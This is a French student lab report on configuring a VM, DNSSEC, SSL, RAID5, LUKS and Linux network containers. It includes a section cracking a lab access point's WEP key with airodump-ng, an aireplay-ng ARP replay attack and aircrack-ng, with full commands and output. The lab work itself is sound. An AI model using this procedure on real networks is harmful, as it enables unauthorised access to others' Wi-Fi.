Cahier 2017 groupe n°5
Sommaire
- 1 Présentation générale
- 2 Travail effectué
Présentation générale
Mise en contexte
Le projet de Réseau Avancé est composé d'une partie commune et d'une tâche particulière par binôme. Ce projet consiste en la configuration d'une architecture réseau avec différentes parties, en plus du câblage et de la configuration des routeurs et commutateurs.
La partie commune consiste en la création et la mise en réseau d'une machine virtuelle; ainsi que la création d'un site sécurisé avec la configuration du serveur SSH, DNS sécurisé et du certificat SSL. La virtualisation permet de faire fonctionner sur une même machine plusieurs OS isolés ou des logiciels grâce aux machines virtuelles. Au-delà de la réduction des coûts, la virtualisation permet aussi de manipuler et gérer plus facilement des OS. Cependant, on s'oriente de plus en plus vers l'isolation par des conteneurs car ils permettent au sein d'un même OS, d'isoler les ressources matérielles et d'éviter des surcharges.
Notre tâche particulière est donc de réaliser la gestion des conteneurs au sein d'une machine virtuelle configurée en réseau.
Tâches à effectuer
- Création d'une machine virtuelle sur le serveur de virtualisation Cordouan
- Mettre la machine virtuelle en réseau
- Configuration des services Internet (Serveur SSH, DNS, DNSSEC, Certificat SSL)
- Sécurisation et cryptage des données
- Crackage de clé Wi-Fi
- Créer les différents conteneurs et configurer leur accès au réseau (tâche particulière)
Travail effectué
Création d'une machine virtuelle Xen sur Cordouan
On commence par créer une machine virtuelle Xen sur le serveur de virtualisation cordouan.insecserv.deule.net. On se connecte tout d'abord en SSH sur le serveur cordouan.
ssh root@cordouan.insecserv.deule.net Mot de passe: mot de passe root habituel
On précise:
- le nom de machine virtuelle: IMA5-BANANE
- son adresse IP sur le réseau: 193.48.57.179/28
- le répertoire où créer les disques virtuels: /usr/local/xen
- le miroir Debian: http://debian.polytech-lille.fr/debian
- la distribution: jessie (qui est la distribution stable courante)
xen-create-image --hostname=<IMA5-BANANE> --ip 193.48.57.179/28 --dir /usr/local/xen --netmask=255.255.255.240 --gateway=193.48.57.177 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie
On modifie le fichier de configuration de la machine virtuelle pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l'hôte. Installez les paquetages nécessaires pour SSH, le serveur Web apache2 et le serveur DNS bind (voir la partie services).
xl create /etc/xen/IMA5-BANANE.cfg vi /etc/xen/IMA5-BANANE.cfg lvcreate -L 10G -n /dev/virtual/IMA5-BANANE-home -v lvcreate -L 10G -n /dev/virtual/IMA5-BANANE-var -v
root@cordouan:~# cat /etc/xen/IMA5-BANANE.cfg # # Configuration file for the Xen instance IMA5-BANANE, created # by xen-tools 4.5 on Mon Sep 11 19:01:21 2017. # # # Kernel + memory size # kernel = '/boot/vmlinuz-3.16.0-4-amd64' extra = 'elevator=noop' ramdisk = '/boot/initrd.img-3.16.0-4-amd64' vcpus = '1' memory = '512' # # Disk device(s). # root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/IMA5-BANANE/disk.img,xvda2,w', 'file:/usr/local/xen/domains/IMA5-BANANE/swap.img,xvda1,w', 'phy:/dev/virtual/IMA5-BANANE-home,xvdb1,w', 'phy:/dev/virtual/IMA5-BANANE-var,xvdc1,w', # # Physical volumes # # # Hostname # name = 'IMA5-BANANE' # # Networking # vif = [ 'ip=193.48.57.179/28 ,mac=00:16:3E:56:71:47,bridge=IMA5sc' ] # # Behaviour on_poweroff = 'destroy' on_reboot = 'restart' on_crash = 'restart'
On modifie le fichier de configuration en faisant en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l'hôte:
- la mémoire attribuée: 512 Mo
- l'adresse ip de la MV: 193.48.57.179/28
- bridge: IMA5sc
xl list
root@cordouan:~# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 1993 8 r----- 52219.3 karmeliett 1 128 1 -b---- 2483.6 duvel 2 512 1 -b---- 4225.6 deus 3 512 1 -b---- 4226.4 trappe 4 512 1 -b---- 4082.4 Rincecochon 6 512 1 -b---- 3788.2 IMA5-Durian 62 512 1 -b---- 3237.7 IMA5-BANANE 84 512 1 -b---- 152.9 IMA5-Papaye 89 512 1 -b---- 35.4 IMA5-Ananas 91 512 1 -b---- 27.0
On vérifie que la MV IMA5-BANANE a bien été créée.
xl console IMA5-BANANE
On lance IMA5-BANANE en utilisant le log root et le mot de passe configuré.
Commandes de base pour démarrer la VM proprement:
ssh root@cordouan.insecserv.deule.net xl create /etc/xen/IMA5-BANANE.cfg ssh username@weppes ssh root@193.48.57.179
Services Internet (SSH, DNS sécurisé et certificat SSL)
On configure à présent les services Internet après avoir acheté un nom de domaine (https://www.banane.space) sur gandi.net pour créer notre site Web sécurisé.
Serveur SSH
Sur notre machine virtuelle, nous avons configuré le fichier sshd_config (PubkeyAuthentication ) :
root@IMA5-BANANE:~# vim /etc/ssh/sshd_config RSAAuthentication yes PubkeyAuthentication yes #AuthorizedKeysFile %h/.ssh/authorized_keys PermitRootLogin yes root@IMA5-BANANE:~# service ssh restart
Certification SSL
Nous commençons par acheter un certificat SSL. Puis, sur la VM nous générons le CSR grâce à cette commande:
root@IMA5-BANANE:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout banane.key -out banane.csr Generating a 2048 bit RSA private key If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille Organizational Unit Name (eg, section) []:IMA Common Name (e.g. server FQDN or YOUR name) []:banane.space Email Address []: A challenge password []: An optional company name []:
root@IMA5-BANANE:/etc/apache2/sites-available/clef# ls banane.csr banane.key root@IMA5-BANANE:/etc/apache2/sites-available/clef# cat banane.csr -----BEGIN CERTIFICATE REQUEST----- <CSR à renseigner sur Gandi lors de l'achat du certificat> -----END CERTIFICATE REQUEST-----
Pour recevoir le mail contenant le lien pour activer le certificat, nous installons les packages suivants :
root@IMA5-BANANE:~# apt-get install postfix mailx
Une fois le certificat récupéré, nous les copions tous dans le bon répertoire, puis nous hashons le tout :
root@IMA5-BANANE:/etc/bind# cp certificat.crt /etc/ssl/certs/banane.space.crt root@IMA5-BANANE:/etc/bind# cp serveur.key /etc/ssl/private/banane.space.key root@IMA5-BANANE:/etc/bind# cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem root@IMA5-BANANE:/etc/bind# c_rehash /etc/ssl/certs
Enfin, la dernière étape consiste en la modification des fichiers 000-banane.space-ssl.conf et ports.conf :
root@IMA5-BANANE:/etc/apache2/sites-available# cat 000-banane.space-ssl.conf <VirtualHost *:443> ServerName www.banane.space ServerAlias banane.space DocumentRoot /var/www/ CustomLog /var/log/apache2/secure_access.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/banane.space.crt SSLCertificateKeyFile /etc/ssl/private/banane.space.key SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem SSLVerifyClient None </VirtualHost>
root@IMA5-BANANE:/etc/apache2# cat ports.conf Listen 80 <IfModule ssl_module> Listen 443 </IfModule> <IfModule mod_gnutls.c> Listen 443 </IfModule>
Un redémarrage du service apache2 est maintenant nécessaire :
root@IMA5-BANANE:/etc/apache2# service apache2 stop root@IMA5-BANANE:/etc/apache2# service apache2 start root@IMA5-BANANE:/etc/apache2# service apache2 reload
Nous pouvons voir que notre site est maintenant sécurisé, un cadenas vert est bien présent.
Serveur DNS
On commence par modifier les informations de notre nom de domaine sur le site de Gandi. Ensuite, dans "Gérer les Glue Records", nous modifions les informations concernant notre nom de domaine.
- nom du serveur: ns.banane.space
- adresse IP: 193.48.57.179
- serveurs de nom:
- DNS1: ns.banane.space
- DNS2: ns6.gandi.net (serveur secondaire de Gandi)
Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier /etc/bind de notre machine virtuelle. Nous modifions dans un premier temps le fichier named.conf.local afin d'y créer nos zones :
root@IMA5-BANANE:/etc/bind# vim /etc/bind/named.conf.local zone "banane.space" IN { type master; file "/etc/bind/db.banane.space"; };
On créée ensuite le fichier db.banane.space:
$TTL 604800 @ IN SOA ns.banane.space. root.banane.space. ( 2016113007 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns.banane.space. @ IN NS ns6.gandi.net. ns IN A 193.48.57.179 www IN A 193.48.57.179 @ IN A 193.48.57.179
root@IMA5-BANANE:/etc/bind# vim /etc/resolv.conf search banane.space nameserver 193.48.57.179
DNS SEC
Génération des clefs asymétriques:
root@IMA5-BANANE: dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE banane.space root@IMA5-BANANE: dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE banane.space
On modifie le nom des clefs:
root@IMA5-BANANE:/etc/bind/banane.space.dnssec# ls
banane.space-ksk.key banane.space-zsk.key dsset-banane.space. banane.space-ksk.private banane.space-zsk.private
Nous signons ensuite les zones:
root@IMA5-BANANE: dnssec-signzone -o banane.space -k banane.space-ksk ../db.banane.space banane.space-zsk
Pour finir nous ajoutons la clef KSK sur Gandi avec l'algorithme RSA/SHA1. On vérifie que le DNSSEC est bien mis en place.
Sécurisation des données
Nous créons trois nouvelles partitions qui vont représenter nos disques.
vi /etc/xen/IMA5-BANANE.cfg lvcreate -L 10G -n /dev/virtual/banane-1 -v lvcreate -L 10G -n /dev/virtual/banane-2 -v lvcreate -L 10G -n /dev/virtual/banane-3 -v
Nous ajoutons ces partitions dans la machine virtuelle via le fichier IMA5-BANANE.conf
root@cordouan:~# cat /etc/xen/IMA5-BANANE.cfg # # Configuration file for the Xen instance IMA5-BANANE, created # by xen-tools 4.5 on Mon Sep 11 19:01:21 2017. # # # Kernel + memory size # kernel = '/boot/vmlinuz-3.16.0-4-amd64' extra = 'elevator=noop' ramdisk = '/boot/initrd.img-3.16.0-4-amd64' vcpus = '1' memory = '512' # # Disk device(s). # root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/IMA5-BANANE/disk.img,xvda2,w', 'file:/usr/local/xen/domains/IMA5-BANANE/swap.img,xvda1,w', 'phy:/dev/virtual/IMA5-BANANE-home,xvdb1,w', 'phy:/dev/virtual/IMA5-BANANE-var,xvdc1,w', 'phy:/dev/virtual/banane-1,xvdd,w', 'phy:/dev/virtual/banane-2,xvde,w', 'phy:/dev/virtual/banane-3,xvdf,w', # # Physical volumes # # # Hostname # name = 'IMA5-BANANE' # # Networking # vif = [ 'ip=193.48.57.179/28 ,mac=00:16:3E:56:71:47,bridge=IMA5sc' ] # # Behaviour on_poweroff = 'destroy' on_reboot = 'restart' on_crash = 'restart'
On installe mdadm dans notre MV
apt-get install mdadm
Nous avons ensuite installé l paquetage mdadm puis rebooté la MV.
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf
Nous créons le volume /dev/md0 pour créer un RAID5 logiciel avec les trois partitions obtenues. On sauvegarde ensuite la configuration actelle.
root@IMA5-BANANE:~# mdadm --detail --scan >> /etc/mdadm/mdadm.conf root@IMA5-BANANE:~# mkfs /dev/md0 root@IMA5-BANANE:~# mkdir /datamd0 root@IMA5-BANANE:/datamd0# mount /dev/md0 /datamd0/
Ensuite il faut éditer le fichier /etc/fstab en rajoutant la ligne suivante à la fin du fichier afin d'être sûr que la partition soit encore montée après le reboot:
/dev/md0 /datamd0
Nous créons un fichier texte sur le raid5:
root@IMA5-BANANE:/datamd0# vim raid5test.txt
Pour avoir le détail de la configuration actuelle:
root@IMA5-BANANE:~# mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Wed Oct 25 18:27:13 2017 Raid Level : raid5 Array Size : 2095104 (2046.34 MiB 2145.39 MB) Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) Raid Devices : 3 Total Devices : 3 Persistence : Superblock is persistent Update Time : Wed Oct 25 17:03:20 2017 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Name : IMA5-BANANE:0 (local to host IMA5-BANANE) UUID : b70ad336:fb198d84:a5909f1c:f4b33229 Events : 2 Number Major Minor RaidDevice State 0 202 48 0 active sync /dev/xvdd 1 202 64 1 active sync /dev/xvde 2 202 80 2 active sync /dev/xvdf
Nous arrêtons la MV, mettons en commentaire la 1ère partition dans le fichier de configuration, puis redémarrons la machine. On constaste que la premiere partition a été "removed":
root@IMA5-BANANE:~# mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Wed Oct 25 18:27:13 2017 Raid Level : raid5 Array Size : 2095104 (2046.34 MiB 2145.39 MB) Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) Raid Devices : 3 Total Devices : 2 Persistence : Superblock is persistent Update Time : Wed Oct 25 18:51:56 2017 State : clean, degraded Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Name : IMA5-BANANE:0 (local to host IMA5-BANANE) UUID : b70ad336:fb198d84:a5909f1c:f4b33229 Events : 12 Number Major Minor RaidDevice State 0 0 0 0 removed 1 202 64 1 active sync /dev/xvde 2 202 80 2 active sync /dev/xvdf
On voit bien qu'une partition a été supprimée mais que le fichier créé auparavant est toujours présent:
root@IMA5-BANANE:~# ls /datamd0/ raid5test.txt
Pour remettre la partition dans le raid5 il faut taper la commande suivante
root@IMA5-BANANE:~# mdadm --add /dev/md0 /dev/xvdd
Pour le test de réparation, afin de bien voir l'avancement de la reconstruction, nous avons procédé comme dans l'exemple du cours: Suppression de la partition xvdd:
root@IMA5-BANANE:~# mdadm --set-faulty /dev/md0 /dev/xvdd root@IMA5-BANANE:~# mdadm --remove /dev/md0 /dev/xvdd
La partition est bien supprimée: Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvde[1] xvdf[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
On remet à présent la partition supprimée:
root@IMA5-BANANE:~# mdadm --add /dev/md0 /dev/xvdd
On essaie ensuite de remonter le RAID5 et on peut constater l'avancement de la reconstruction en lançant la même commande assez régulièrement:
root@IMA5-BANANE:~# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdd[3] xvde[1] xvdf[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [_UU] [===========>.........] recovery = 59.7% (627140/1047552) finish=0.2min speed=28506K/sec unused devices: <none>
root@IMA5-BANANE:~# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdd[3] xvde[1] xvdf[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [_UU] [============>........] recovery = 64.5% (676392/1047552) finish=0.2min speed=29408K/sec unused devices: <none>
root@IMA5-BANANE:~# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdd[3] xvde[1] xvdf[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [_UU] [=============>.......] recovery = 66.2% (695080/1047552) finish=0.2min speed=28961K/sec unused devices: <none>
root@IMA5-BANANE:~# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdd[3] xvde[1] xvdf[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [_UU] [=============>.......] recovery = 68.1% (714664/1047552) finish=0.1min speed=28586K/sec unused devices: <none>
root@IMA5-BANANE:~# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdd[3] xvde[1] xvdf[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [_UU] [==================>..] recovery = 94.6% (991996/1047552) finish=0.0min speed=29206K/sec unused devices: <none>
root@IMA5-BANANE:~# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdd[3] xvde[1] xvdf[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU] unused devices: <none>
Cryptage des données
Nous n'avons qu'une carte SD pour tous les binômes. On crée donc un disque logiciel localement sur /dev/mmcblk1 nous-mêmes pour effectuer son cryptage en AES avec un hachage SHA256 et on renseigne un mot de passe de cryptage.
cryptsetup luksFormat -c aes -h sha256 /dev/mmcblk1
Nous ouvrons la partition Luks, puis nous formatons le disque :
cryptsetup luksOpen /dev/sdb1 banane-crypt mkfs.ext4 /dev/mapper/banane-crypt
On monte le disque et on crée un fichier avec du texte dessus.
mount /dev/mapper/banane-crypt /mnt vi /mnt/test.txt
On démonte ensuite le disque et on ferme la partition Luks.
umount /mnt cryptsetup luksClose banane-crypt
Pour vérifier le cryptage de notre disque, on tente d'accéder de nouveau au disque et on s'aperçoit qu'on nous demande le mot de passe.
cryptsetup luksOpen /dev/sdb1 banane-crypt
Crackage de clef WEP sur Point d'accès Wi-Fi
On dispose de deux Zabeth munies chacune d'une clé Wi-Fi. Le point d'accès "banane" a été configuré par le groupe 3, qui a aussi installé les drivers pour ces clefs Wi-Fi
On commence par établir la connexion au point d'accès Wifi banane sur une des Zabeth (la Zabeth17 en l'occurence). En lançant iwconfig, on voit que l'interface wlx000fb5922374 n'est pas active. Pour cela, on configure comme suit le fichier /etc/network/interfaces avec les paramètres de connexion du réseau banane.
root@zabeth17:/home/pifou# cat /etc/network/interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). source /etc/network/interfaces.d/* # The loopback network interface auto lo iface lo inet loopback
auto wlx000fb5922374 iface wlx000fb5922374 inet static wireless-keymode open wireless-mode managed address 10.2.0.100 netmask 255.255.0.0 wireless-essid banane wireless-key 01234567891011121314151617
On redémarre ensuite les connexions réseau et on démarre l'interface wlx000fb5922374 pour établir la connexion sur banane. Et on vérifie avec iwconfig que la connexion est établie.
root@zabeth17:/home/pifou# service networking restart root@zabeth17:/home/pifou# ifdown wlx000fb5922374 root@zabeth17:/home/pifou# ifup wlx000fb5922374
Ensuite, on génère du trafic sur le réseau en envoyant 11000 paquets de type ARP vers 10.2.0.2 l'adresse du point d'accès.
root@zabeth17:/home/pifou# nping --arp-type ARP -c 11000 --flags rst --ttl 2 10.2.0.2
Starting Nping 0.7.60 ( https://nmap.org/nping ) at 2017-12-12 15:13 GMT SENT (0.0373s) ARP who has 10.2.0.2? Tell 172.26.145.112 RCVD (0.2238s) ARP reply 10.2.0.2 is at 00:00:0C:9F:F0:32 SENT (1.0378s) ARP who has 10.2.0.2? Tell 172.26.145.112 RCVD (1.2438s) ARP reply 10.2.0.2 is at 00:00:0C:9F:F0:32 SENT (2.0387s) ARP who has 10.2.0.2? Tell 172.26.145.112 RCVD (2.0638s) ARP reply 10.2.0.2 is at 00:00:0C:9F:F0:32 SENT (3.0399s) ARP who has 10.2.0.2? Tell 172.26.145.112 RCVD (3.0839s) ARP reply 10.2.0.2 is at 00:00:0C:9F:F0:32 SENT (4.0419s) ARP who has 10.2.0.2? Tell 172.26.145.112 RCVD (4.1078s) ARP reply 10.2.0.2 is at 00:00:0C:9F:F0:32 SENT (5.0439s) ARP who has 10.2.0.2? Tell 172.26.145.112 ...
Nous mettons à présent la clef Wi-Fi de la deuxième Zabeth (Zabeth15) en mode moniteur pour écouter, et on vérifie que le nom de l'interface est devenu wlan0mon.
root@zabeth15:/home/pifou# airmon-ng start wlx000fb5922266 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 1695 dhclient 2949 avahi-daemon 2950 avahi-daemon PHY Interface Driver Chipset
phy0 wlx000fb5922266 p54usb NetGear, Inc. WG111(v1) rev 2 54 Mbps Wireless [Intersil ISL3887] Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon (mac80211 station mode vif disabled for [phy0]wlx000fb5922266)
Ensuite, on trouve le BSSID, CH (channel) et ESSID du réseau Wi-Fi à cracker (banane).
root@zabeth15:/home/pifou# airodump-ng --encrypt wep wlan0mon CH 8 ][ Elapsed: 6 s ][ 2017-12-12 15:04 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C4:14:3C:12:61:C2 -67 26 0 0 9 54e. WEP WEP BORNE_TEST3 C4:14:3C:12:61:C1 -61 28 0 0 9 54e. WEP WEP BORNE_TEST2 C4:14:3C:40:78:60 -70 21 0 0 3 54e. WEP WEP ananas C4:14:3C:40:78:63 -76 20 0 0 3 54e. WEP WEP goyave C4:14:3C:12:61:C4 -68 25 0 0 9 54e. WEP WEP BORNE_TEST5 C4:14:3C:12:61:C0 -68 27 0 0 9 54e. WEP WEP BORNE_TEST1 C4:14:3C:12:61:C3 -63 25 0 0 9 54e. WEP WEP BORNE_TEST4 C4:14:3C:40:78:61 -73 16 0 0 3 54e. WEP WEP banane C4:14:3C:40:78:64 -68 14 0 0 3 54e. WEP WEP groseille C4:14:3C:40:78:65 -74 22 0 0 3 54e. WEP WEP reseau1 C4:14:3C:12:61:C5 -59 24 0 0 9 54e. WEP WEP BORNE_TEST6 C4:14:3C:40:78:62 -72 16 0 0 3 54e. WEP WEP durian C4:14:3C:40:78:67 -77 16 0 0 3 54e. WEP WEP tomate BSSID STATION PWR Rate Lost Frames Probe (not associated) AC:AF:B9:B0:DF:32 -75 0 - 1 0 1 PolytechLille (not associated) B8:08:D7:16:6E:69 -73 0 - 1 0 1 (not associated) 60:F4:45:D0:DA:DB -73 0 - 1 0 2 PolytechLille
pifou@zabeth15:~$ su Password:
root@zabeth15:/home/pifou# iwconfig wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.462 GHz Tx-Power=17 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:off enp0s25 no wireless extensions. enp6s0 no wireless extensions. lo no wireless extensions. docker0 no wireless extensions. vmnet1 no wireless extensions. bridge no wireless extensions. vethcdea1bf no wireless extensions. vmnet8 no wireless extensions.
On va maintenant surveiller le réseau et capturer les informations qui circulent.
root@zabeth15:/home/pifou# airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep_ungdelatte wlan0mon
# -c 3 précise que le réseau est sur le channel 3. # -w crack_wep_ungdelatte est le fichier qui va stocker les paquets capturés.
CH 3 ][ Elapsed: 20 mins ][ 2017-12-12 15:18 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC C C4:14:3C:40:78:61 -64 8 11488 0 0 3 54e. WEP W BSSID STATION PWR Rate Lost Frames
En plus de airodump-ng, on génère encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets.
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:74 wlan0mon # -3 précise un ARP Request Replay Attack. # 00:0F:B5:92:23:74 étant l'adresse MAC de l'interface wlx000fb5922374 du premier ordinateur qui connecté sur le réseau.
Pour finir, on lance le crackage de la clef WEP à partir du fichier .cap créé.
root@zabeth15:/home/pifou# aircrack-ng crack_wep_ungdelatte-01.cap
Opening crack_wep_ungdelatte-01.cap Read 12494 packets.
# BSSID ESSID Encryption
1 C4:14:3C:40:78:61 banane No data - WEP or WPA
Choosing first network as target.
Opening crack_wep_ungdelatte-01.cap Got no data packets from target network!
root@zabeth15:/home/pifou# airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep_ungdelatte wlan0mon
CH 3 ][ Elapsed: 28 mins ][ 2017-12-12 16:03 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC C C4:14:3C:40:78:61 -64 0 16423 0 0 3 54e. WEP W BSSID STATION PWR Rate Lost Frames
root@zabeth15:/home/pifou# ls 3D Documents Arduino Downloads crack_wep_ungdelatte-01.cap GIS4_Bernard_Castelein crack_wep_ungdelatte-01.csv IMA5sc-ASR crack_wep_ungdelatte-01.kismet.csv Music crack_wep_ungdelatte-01.kismet.netxml Pictures crack_wep_ungdelatte-02.cap Public crack_wep_ungdelatte-02.csv R crack_wep_ungdelatte-02.kismet.csv replay_arp-1212-153701.cap crack_wep_ungdelatte-02.kismet.netxml Templates Desktop Videos
root@zabeth15:/home/pifou# aircrack-ng crack_wep_ungdelatte-02.cap Opening crack_wep_ungdelatte-02.cap Read 13001 packets. # BSSID ESSID Encryption 1 C4:14:3C:40:78:61 banane No data - WEP or WPA Choosing first network as target. Opening crack_wep_ungdelatte-02.cap Got no data packets from target network! Quitting aircrack-ng...
Le crakage n'ayant pas fonctionné après deux fois, nous avons cherché notre erreur car les paquets récupérés par la Zabeth15 semblent vides, mais nous n'avons pas trouvé...
---
Réussite en soutenance
En lançant le crack après avoir écouté sur la bonne adresse MAC (terminant par 74), nous avons réussi à trouver la clef WEP, qui correspond bien à celle configurée.
root@zabeth15:/home/pifou# aircrack-ng crack_wep_ungdelatte-03.cap Opening crack_wep_ungdelatte-03.cap Read 211094 packets.
# BSSID ESSID Encryption
1 C4:14:3C:40:78:61 banane WEP (30765 IVs)
Choosing first network as target.
Opening crack_wep_ungdelatte-03.cap Attack will be restarted every 5000 captured ivs. Starting PTW attack with 30887 ivs.
Aircrack-ng 1.2 rc4
[00:00:00] Tested 24537 keys (got 30676 IVs)
KB depth byte(vote) 0 4/ 6 EE(37632) 01(37376) 95(37376) 20(36864) CD(36864) 1 0/ 1 23(43520) 7F(37376) 14(36352) 33(36352) 90(36352) 2 0/ 2 45(41472) 16(38656) E9(37376) C4(37120) 22(36352) 3 0/ 2 67(42240) B1(39168) 5B(36864) 15(36608) 0E(36352) 4 0/ 1 89(42496) 53(38912) 9F(38400) 9D(37888) E6(37888) 5 0/ 1 10(46080) ED(38656) A1(37888) F9(37888) 34(36608) 6 1/ 3 11(39680) 97(38144) BC(36352) 18(36096) 21(36096) 7 1/ 4 12(37632) 57(36608) EA(36352) A6(35840) E8(35840) 8 7/ 20 13(36352) 49(36096) 5C(36096) 8D(36096) A3(35840) 9 0/ 1 14(42240) C7(38912) 30(36864) 47(36864) D5(36864) 10 0/ 1 15(44544) AF(39424) B6(38144) A9(37632) D8(37120) 11 0/ 1 16(43008) E7(38144) C2(37888) 07(36864) 16(36864) 12 0/ 5 17(39936) 1A(38400) 2B(38144) 60(37120) 71(36864)
KEY FOUND! [ 01:23:45:67:89:10:11:12:13:14:15:16:17 ]
Decrypted correctly: 100%
Mise en réseau et création de conteneurs sous Machine Virtuelle Linux
On se propose dans cette partie de réaliser la création et la mise en réseau de conteneurs sous Linux.
Après avoir créé un système de fichiers avec debootstrap puis une machine virtuelle (IMA5-BANANE en l'occurence) sur le serveur de virtualisation Cordouan, on crée trois conteneurs C1, C2 et C3 distincts au sein celle-ci.
Connecter les conteneurs en réseau :
créer une double interface Ethernet virtuelle ; sur l’hôte ajouter l’interface dans un pont virtuel ; envoyer le pair dans l’espace réseau du conteneur ; configurer l’adresse IP sur l’interface du conteneur ... ... il peut être nécessaire d’utiliser nsenter.
Pour la création d'un conteneur, on utilise la commande unshare couplée à des options et à une fonction serverx.sh qui ne fait que repeter une fonction sleep 5 en boucle. Elle permet de lancer séparément une commande (ici /bin/serverx.sh) en définissant un root différent.
unshare -n -u -m -p -f chroot ./chroot /bin/serverx.sh
Si on veut entrer dans le conteneur après en être sorti, on utilise la commande:
nsenter -n -u -m -p -t <PID> chroot ./chroot /bin/bash
On ajoute alors toutes nos interfaces virtuelles eth0@vifX de type veth. Les Ponts "monpont" et "carrefour" ont déjà été définis dans /etc/network/interfaces
ip link add vif1 type veth peer name eth0@vif1 ip link add vif2 type veth peer name eth0@vif2 ip link add vif3 type veth peer name eth0@vif3 ip link add vif4 type veth peer name eth0@vif4
On ajoute les vifx aux ponts correspondants
ip link set vif1 master monpont ip link set vif2 master carrefour ip link set vif3 master carrefour ip link set vif4 master carrefour
On peut vérifier la création à chaque commande grâce aux la commande:
ip l show et brctl show
L'adresse ip de "monpont" est défini dans le fichier interfaces avec l'adresse 193.48.57.179 et est connecté au réseau via eth0 Nous avons choisis le reseau local entre les conteneur sur la plage 192.168.0.0/24. L'adresse de "carrefour" est 192.168.0.1.
On peut alors définir eth0@vif1 (renommée eth0) comme étant l'interface entre le reverse proxy et "monpont".
ip link set eth0@vif1 netns /proc/<PID>/ns/net name eth0
On peut alors définir eth0@vif2 (renommée eth1) comme étant l'interface entre le reverse proxy et les carrefour.
ip link set eth0@vif2 netns /proc/<PID>/ns/net name eth1
On peut alors définir eth0@vif3 et eth0@vif4 (renommées eth0) comme étant les interfaces respectives entre le server1, serveur 2 et le pont carrefour.
ip link set eth0@vif3 netns /proc/<PID>/ns/net name eth0 ip link set eth0@vif4 netns /proc/<PID>/ns/net name eth0
Dans le conteneur "chroot", on ajoute alors l'adresse IP 193.48.57.189/28 à eth0 et on active eth0, vif1 et "monpont".
ip addr add 193.48.57.189/28 dev eth0 ip link set dev eth0 up ip link set vif1 up ip link set dev monpont up
Dans le conteneurs serverX et dans le reverse proxy, on ajoute alors les adresse IP 192.168.0.100/24 et 192.168.0.200/24 et 192.168.0.150/24 aux eth0 respectifs puis on active vif2 vif3 vif4 et "carrefour".
Le réseau étant fonctionnel nous pouvons nous attaquer à la configuration des serveur apache2.
Nous avons donc installé un serveur apache2 dans chaque conteneur.
Pour ce qui est du serveur apache qui jouera le rôle de reverse proxy le fichier de configuration se trouvant dans /etc/apache2/sites-available sera configuré de la manière suivante:
ServerName 193.48.57.189:80 <VirtualHost 193.48.57.189:80> ServerName reverse.banane.space DocumentRoot /var/www/html ProxyPass / http://192.168.0.100:631 ProxyPassReverse / http://192.168.0.100:631 ProxyRequests Off LogFormat "%h %l %u %t \"%r\" %>s %b" common CustomLog logs/access_log common <VirtualHost>
On retrouve l'adresse du serveur apache qui correspond à celle du conteneur relié au réseau 192.48.57.189.
